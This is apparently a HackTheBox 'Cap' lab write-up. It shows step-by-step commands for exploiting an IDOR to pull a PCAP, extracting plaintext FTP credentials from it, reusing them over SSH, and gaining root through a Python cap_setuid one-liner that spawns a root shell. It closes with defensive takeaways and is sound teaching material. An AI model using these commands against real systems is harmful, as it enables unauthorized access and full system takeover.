HackTheBox Cap Writeup

Cap — Lab Summary (with commands)

Goal: Exploit an IDOR (Insecure Direct Object Reference) vulnerability to access another user’s leaked FTP credentials in a PCAP file, use them to get user access, then abuse Linux capabilities on a Python binary to escalate to root.

Steps & Commands

1. Scan the target

nmap -sV <target-ip>

→ 3 open TCP ports found (commonly 21, 22, 80 on this box).

2. Explore the website

Running a “Security Snapshot” on the web app redirects to:

/data/<id>

3. Test for IDOR (access other users’ data)

Trying different <id> values:

• Numbers greater than 3 → redirected back to home (invalid/no access)
• /data/0 → worked! Revealed another user's scan (a PCAP file)

→ Confirms an IDOR vulnerability: you can access other users’ scan data just by changing the ID in the URL.

4. Download and analyze the PCAP file

Open in Wireshark (or use tshark):

wireshark data_0.pcap

Filter for FTP traffic:

ftp

Found:

Request: USER nathan
Request: PASS Buck3tH4TF0RM3!

5. Try the credentials over FTP

ftp <target-ip>

Name: nathan
Password: Buck3tH4TF0RM3!
230 Login successful.

6. Download the user flag via FTP

dir
get user.txt
exit

cat user.txt

Output:

flag****************************

7. Reuse the same credentials over SSH

ssh nathan@<target-ip>
password: Buck3tH4TF0RM3!

(same password worked → password reuse across services)

Get Mohamed Ramadan’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

8. Enumerate Linux capabilities for privilege escalation

getcap -r / 2>/dev/null

Output:

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

→ cap_setuid on Python means this binary can change its user ID — a privilege escalation opportunity.

9. Abuse the capability to become root

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

• os.setuid(0) sets the process's UID to 0 (root).
• os.system("/bin/bash") spawns a root shell.

10. Confirm root access

id

Output:

uid=0(root) gid=1001(nathan) groups=1001(nathan)

11. Read the root flag

ls -la /root
cat /root/root.txt

Output:

flag****************************

Key Takeaways

1. IDOR vulnerability: The app didn’t check whether a user was authorized to view a given scan ID, letting you view any user’s data by guessing/iterating IDs.
2. Sensitive data in cleartext protocols: FTP traffic exposed a plaintext password inside a PCAP file, since FTP doesn’t encrypt credentials.
3. Password reuse: The same password worked across FTP and SSH, widening the attack surface.
4. Dangerous Linux capabilities: Assigning cap_setuid to a general-purpose binary like Python allows any user running it to escalate straight to root — capabilities should be scoped to only what's strictly needed.

Connect with me on LinkedIn: www.linkedin.com/in/mohamedramadan-mh7